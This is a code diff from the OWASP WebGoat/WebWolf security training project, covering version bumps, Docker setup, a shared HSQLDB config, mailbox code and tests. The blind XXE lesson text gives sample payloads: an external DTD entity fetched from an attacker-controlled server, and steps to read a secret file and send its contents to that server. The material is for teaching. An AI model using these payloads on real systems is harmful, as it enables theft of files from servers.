<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
</project>

View File

@ -6,6 +6,6 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
</project>

View File

@ -8,6 +8,7 @@ import org.springframework.beans.factory.annotation.Value;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.client.RestClientException;
import org.springframework.web.client.RestTemplate;
import java.time.LocalDateTime;
@ -39,7 +40,11 @@ public class MailAssignment extends AssignmentEndpoint {
.contents("This is a test message from WebWolf, your unique code is: " + StringUtils.reverse(username))
.sender("webgoat@owasp.org")
.build();
try {
restTemplate.postForEntity(webWolfURL, mailEvent, Object.class);
} catch (RestClientException e ) {
return informationMessage().feedback("webwolf.email_failed").output(e.getMessage()).build();
}
return informationMessage().feedback("webwolf.email_send").feedbackArgs(email).build();
} else {
return informationMessage().feedback("webwolf.email_mismatch").feedbackArgs(username).build();

View File

@ -12,6 +12,7 @@
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:Receiving_mail.adoc"></div>
<div class="attack-container">
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
@ -66,6 +67,7 @@
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:Landing_page.adoc"></div>
<div class="attack-container">
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<a href="/WebGoat/WebWolf/landing/password-reset" target="_blank">Click here to reset your password</a>

View File

@ -2,7 +2,7 @@ webwolf.title=WebWolf
webwolf.email_send=An email has been send to {0} please check your inbox.
webwolf.code_incorrect=That is not the correct code: {0}, please try again.
webwolf.email_failed=There was an error while sending the e-mail. Is WebWolf running?
webwolf.email_mismatch=Of course you can send mail to user {0} however you will not be able to read this e-mail in WebWolf, please use your own username.

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.7 KiB

View File

@ -1,7 +1,17 @@
== Introducing WebWolf
NOTE: You only need WebWolf if you a lesson specifies you can use it. For a lot of lessons you use WebGoat without
starting WebWolf.
You only need WebWolf if you a lesson specifies you can use it. For a lot of lessons you use WebGoat without
starting WebWolf. If you need to do an exercise with WebWolf make sure it is running along side with WebGoat. Lessons
where you can use WebWolf are marked with the following icon (top right in assignment):
{nbsp}
image::images/wolf-enabled.png[width=115,height=128]
{nbsp}
Even if the icon the present your are not obliged to use WebWolf, you can also use any intercepting tool you like, like
`netcat` etc.
WebWolf is a separate web application which simulates an attackers machine. It makes it possible for us to
make a clear distinction between what takes place on the attacked website and the actions you need to do as
@ -20,12 +30,18 @@ are not using the Docker image you will need to download the jar file and start
java -jar webwolf-<<version>>.jar
```
WebWolf is also available as a Docker container:
WebWolf is also available as a Docker container, because it shares the database with WebGoat we first need
to find out the ip address of the Docker container.
```
docker pull webwolf/webwolf-8.0
docker run -it 8081:8081 /home/webwolf/run.sh
WEBGOAT_SERVER_ADDRESS=$(docker inspect -f "{{ .NetworkSettings.IPAddress }}" `docker ps | grep webgoat | awk '{print $1}'`)
docker pull webgoat/webwolf
docker run -e webgoat.server.address=${WEBGOAT_SERVER_ADDRESS} -it -p 8081:8081 webgoat/webwolf /home/webwolf/run.sh
```
Note: if you start WebGoat as standalone application you need to start WebWolf as standalone application as well. If
you start WebGoat as Docker container you need to start WebWolf as Docker container as well.
This will start the application on port 8081, click webWolfLink:here[] to open WebWolf.
First thing you need to do is register a new user within WebWolf.

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
<dependencies>

View File

@ -58,7 +58,7 @@ public class XXE extends NewLesson {
@Override
public String getTitle() {
return "XXE";
return "xxe.title";
}
@Override

View File

@ -144,6 +144,7 @@
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:XXE_blind_assignment.adoc"></div>
<div class="attack-container">
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"

View File

@ -22,6 +22,7 @@
# projects.
# <p>
#
xxe.title=XXE
xxe.simple.output=Welcome {0} you can now login to our website
xxe.content.type.feedback.json=You are posting JSON which does not work with a XXE
xxe.content.type.feedback.xml=You are posting XML but there is no XXE attack performed

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.7 KiB

View File

@ -1,4 +1,3 @@
== Blind XXE
In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page.
@ -6,25 +5,25 @@ Or the resource you are trying to read contains illegal XML character which caus
Let's start with an example, in this case we reference an external DTD which we control on our own server.
As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
use this server to ping it using `http://localhost:8081/ping?text=HelloWorld
use this server to ping it using `webWolfLink:landing[noLink]`
How do we use this endpoint to verify whether we can perform XXE?
We can again use WebWolf to host a file called `attack.dtd`, create this file with the following contents:
[source]
[source, subs="macros, specialcharacters"]
----
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY ping SYSTEM 'http://localhost:8081/ping?text=HelloWorld'>
<!ENTITY ping SYSTEM 'webWolfLink:landing[noLink]'>
----
Now submit the form change the xml using to:
[source]
[source, subs="macros, specialcharacters"]
----
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://localhost:8081/WebWolf/files/attack.dtd">
<!ENTITY % remote SYSTEM "webWolfLink:files/attack.dtd[noLink]">
%remote;
]>
<comment>

View File

@ -9,15 +9,15 @@ DTD.
|OS |Location
|Linux
|`/home/USER/.webgoat/XXE/secret.txt`
|`/home/USER/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|Windows
|`c:/Users/USER/.webgoat/XXE/secret.txt`
|`c:/Users/USER/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|Docker
|`/home/webgoat/.webgoat/XXE/secret.txt`
|`/home/webgoat/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|===
Try to upload this file using WebWolf landing page for example: `http://localhost:8081/WebWolf/landing?text=[contents_file]`
Try to upload this file using WebWolf landing page for example: `webWolfLink:landing?text=contents_file[noLink]`
(NOTE: this endpoint is under your full control)
Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.

View File

@ -2,13 +2,13 @@ FROM openjdk:8-jre-slim
ARG webgoat_version=8.0-SNAPSHOT
RUN useradd --home-dir /home/webgoat --create-home -U webgoat
RUN apt-get update; apt-get install curl -y
COPY start.sh /home/webgoat/start.sh
RUN chmod +x /home/webgoat/start.sh
RUN \
apt-get update && apt-get install && \
useradd --home-dir /home/webgoat --create-home -U webgoat
USER webgoat
RUN cd /home/webgoat/; mkdir -p .webgoat
RUN cd /home/webgoat/; mkdir -p .webgoat-${webgoat_version}
COPY target/webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar
ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webgoat/webgoat.jar", "--server.address=0.0.0.0"]
EXPOSE 8080

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
<properties>
@ -198,6 +198,11 @@
<artifactId>spring-boot-devtools</artifactId>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.2.2</version>
</dependency>
</dependencies>
<build>

View File

@ -0,0 +1,51 @@
package org.owasp.webgoat;
import org.hsqldb.server.Server;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.boot.autoconfigure.jdbc.DataSourceBuilder;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.DependsOn;
import org.springframework.context.annotation.Primary;
import javax.sql.DataSource;
/**
* Rationale for this class: when the HSQLDB is started with jdbc:file:// it is only accessible from within the same
* JVM. This can only be done if you start a standalone HSQLDB. We need both WebWolf and WebGoat to use the same database
*/
@Configuration
@ConditionalOnProperty(prefix = "webgoat.start", name = "hsqldb", havingValue = "true")
public class HSQLDBDatabaseConfig {
@Value("${hsqldb.port:9001}")
private int hsqldbPort;
@Bean(initMethod = "start", destroyMethod = "stop")
public Server hsqlStandalone(@Value("${webgoat.server.directory}") String directory,
@Value("${hsqldb.silent:true}") boolean silent,
@Value("${hsqldb.trace:false}") boolean trace) {
Server server = new Server();
server.setDatabaseName(0, "webgoat");
server.setDatabasePath(0, directory + "/data/webgoat");
server.setDaemon(true);
server.setTrace(trace);
server.setSilent(silent);
server.setPort(hsqldbPort);
return server;
}
@Primary
@Bean
@DependsOn("hsqlStandalone")
public DataSource dataSource(@Value("${spring.datasource.driver-class-name}") String driverClass,
@Value("${spring.datasource.url}") String url) {
return DataSourceBuilder.create()
.driverClassName(driverClass)
.url(url)
.build();
}
}

View File

@ -37,7 +37,4 @@ public class StartWebGoat {
public static void main(String[] args) {
SpringApplication.run(WebGoat.class, args);
}
}

View File

@ -1,3 +0,0 @@
#!/bin/sh
java -jar -Djava.security.egd=file:/dev/./urandom /home/webgoat/webgoat.jar

View File

@ -2,12 +2,13 @@ FROM openjdk:8-jre-slim
ARG webwolf_version=8.0-SNAPSHOT
RUN useradd --home-dir /home/webwolf --create-home -U webwolf
RUN apt-get update; apt-get install curl -y
COPY start.sh /home/webwolf/start.sh
RUN chmod +x /home/webwolf/start.sh
RUN \
apt-get update && apt-get install && \
useradd --home-dir /home/webwolf --create-home -U webwolf
USER webwolf
COPY target/webwolf-${webwolf_version}.jar /home/webwolf/webwolf.jar
ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webwolf/webwolf.jar", "--server.address=0.0.0.0"]
EXPOSE 8081

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
<dependencies>
@ -78,6 +78,11 @@
<artifactId>hsqldb</artifactId>
<version>${hsqldb.version}</version>
</dependency>
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.2.2</version>
</dependency>
<!-- ************* START: Dependencies for Unit and Integration Testing ************** -->
<dependency>
@ -85,6 +90,10 @@
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.security</groupId>
<artifactId>spring-security-test</artifactId>
</dependency>
</dependencies>
<build>

View File

@ -1,5 +1,8 @@
package org.owasp.webwolf.mailbox;
import com.fasterxml.jackson.annotation.JsonIgnore;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
@ -13,6 +16,8 @@ import java.time.format.DateTimeFormatter;
* @since 8/20/17.
*/
@Data
@Builder
@AllArgsConstructor
@Entity
@NoArgsConstructor
public class Email implements Serializable {
@ -20,7 +25,7 @@ public class Email implements Serializable {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
private LocalDateTime time;
private LocalDateTime time = LocalDateTime.now();
@Column(length = 1024)
private String contents;
private String sender;
@ -28,7 +33,7 @@ public class Email implements Serializable {
private String recipient;
public String getSummary() {
return "-" + this.contents.substring(0, 50);
return "-" + this.contents.substring(0, Math.min(50, contents.length()));
}
public LocalDateTime getTimestamp() {

View File

@ -7,6 +7,8 @@ import org.owasp.webwolf.user.WebGoatUser;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.core.userdetails.User;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
@ -25,12 +27,11 @@ import java.util.concurrent.Callable;
@Slf4j
public class MailboxController {
private final UserRepository userRepository;
private final MailboxRepository mailboxRepository;
@GetMapping(value = "/WebWolf/mail")
public ModelAndView mail() {
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
UserDetails user = (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
ModelAndView modelAndView = new ModelAndView();
List<Email> emails = mailboxRepository.findByRecipientOrderByTimeDesc(user.getUsername());
if (emails != null && !emails.isEmpty()) {
@ -44,13 +45,8 @@ public class MailboxController {
@PostMapping(value = "/mail")
public Callable<ResponseEntity<?>> sendEmail(@RequestBody Email email) {
return () -> {
if (userRepository.findByUsername(email.getRecipient()) != null) {
mailboxRepository.save(email);
return ResponseEntity.status(HttpStatus.CREATED).build();
} else {
log.trace("Mail received for unknown user: {}", email.getRecipient());
return ResponseEntity.notFound().build();
}
};
}

View File

@ -3,9 +3,11 @@ server.error.path=/error.html
server.session.timeout=6000
#server.contextPath=/WebWolf
server.port=8081
server.address=127.0.0.1
server.session.cookie.name = WEBWOLFSESSION
spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/data/webwolf
spring.datasource.url=jdbc:hsqldb:hsql://${webgoat.server.address:localhost}:9001/webgoat
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
spring.jpa.hibernate.ddl-auto=update
spring.messages.basename=i18n/messages
@ -29,7 +31,8 @@ multipart.location=${java.io.tmpdir}
multipart.max-file-size=1Mb
multipart.max-request-size=1Mb
webgoat.server.directory=${user.home}/.webgoat/
webgoat.build.version=@project.version@
webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/
webwolf.fileserver.location=${java.io.tmpdir}/webwolf-fileserver
spring.jackson.serialization.indent_output=true

View File

@ -45,7 +45,7 @@
<div class="col-xs-6 col-sm-6 col-md-6">
</div>
</div>
<div><b><a th:href="@{/registration}" th:text="#{register.new}"></a></b></div>
<!--<div><b><a th:href="@{/registration}" th:text="#{register.new}"></a></b></div>-->
</fieldset>
</form>
</div>

View File

@ -0,0 +1,98 @@
package org.owasp.webwolf.mailbox;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.collect.Lists;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.Mockito;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest;
import org.springframework.boot.test.mock.mockito.MockBean;
import org.springframework.http.MediaType;
import org.springframework.security.test.context.support.WithMockUser;
import org.springframework.test.context.junit4.SpringRunner;
import org.springframework.test.web.servlet.MockMvc;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.CoreMatchers.not;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*;
@RunWith(SpringRunner.class)
@WebMvcTest(MailboxController.class)
public class MailboxControllerTest {
@Autowired
private MockMvc mvc;
@MockBean
private MailboxRepository mailbox;
@Autowired
private ObjectMapper objectMapper;
@JsonIgnoreProperties("time")
public static class EmailMixIn {
}
@Before
public void setup() {
objectMapper.addMixIn(Email.class, EmailMixIn.class);
}
@Test
@WithMockUser
public void sendingMailShouldStoreIt() throws Exception {
Email email = Email.builder()
.contents("This is a test mail")
.recipient("test1234@webgoat.org")
.sender("hacker@webgoat.org")
.title("Click this mail")
.time(LocalDateTime.now())
.build();
this.mvc.perform(post("/mail").contentType(MediaType.APPLICATION_JSON).content(objectMapper.writeValueAsBytes(email)))
.andExpect(status().isOk());
}
@Test
@WithMockUser(username = "test1234")
public void userShouldBeAbleToReadOwnEmail() throws Exception {
Email email = Email.builder()
.contents("This is a test mail")
.recipient("test1234@webgoat.org")
.sender("hacker@webgoat.org")
.title("Click this mail")
.time(LocalDateTime.now())
.build();
Mockito.when(mailbox.findByRecipientOrderByTimeDesc("test1234")).thenReturn(Lists.newArrayList(email));
this.mvc.perform(get("/WebWolf/mail"))
.andExpect(status().isOk())
.andExpect(view().name("mailbox"))
.andExpect(content().string(containsString("Click this mail")))
.andExpect(content().string(containsString(DateTimeFormatter.ofPattern("h:mm a").format(email.getTimestamp()))));
}
@Test
@WithMockUser(username = "test1233")
public void differentUserShouldNotBeAbleToReadOwnEmail() throws Exception {
Email email = Email.builder()
.contents("This is a test mail")
.recipient("test1234@webgoat.org")
.sender("hacker@webgoat.org")
.title("Click this mail")
.time(LocalDateTime.now())
.build();
Mockito.when(mailbox.findByRecipientOrderByTimeDesc("test1234")).thenReturn(Lists.newArrayList(email));
this.mvc.perform(get("/WebWolf/mail"))
.andExpect(status().isOk())
.andExpect(view().name("mailbox"))
.andExpect(content().string(not(containsString("Click this mail"))));
}
}

View File

@ -1,3 +0,0 @@
#!/bin/sh
java -jar -Djava.security.egd=file:/dev/./urandom /home/webwolf/webwolf.jar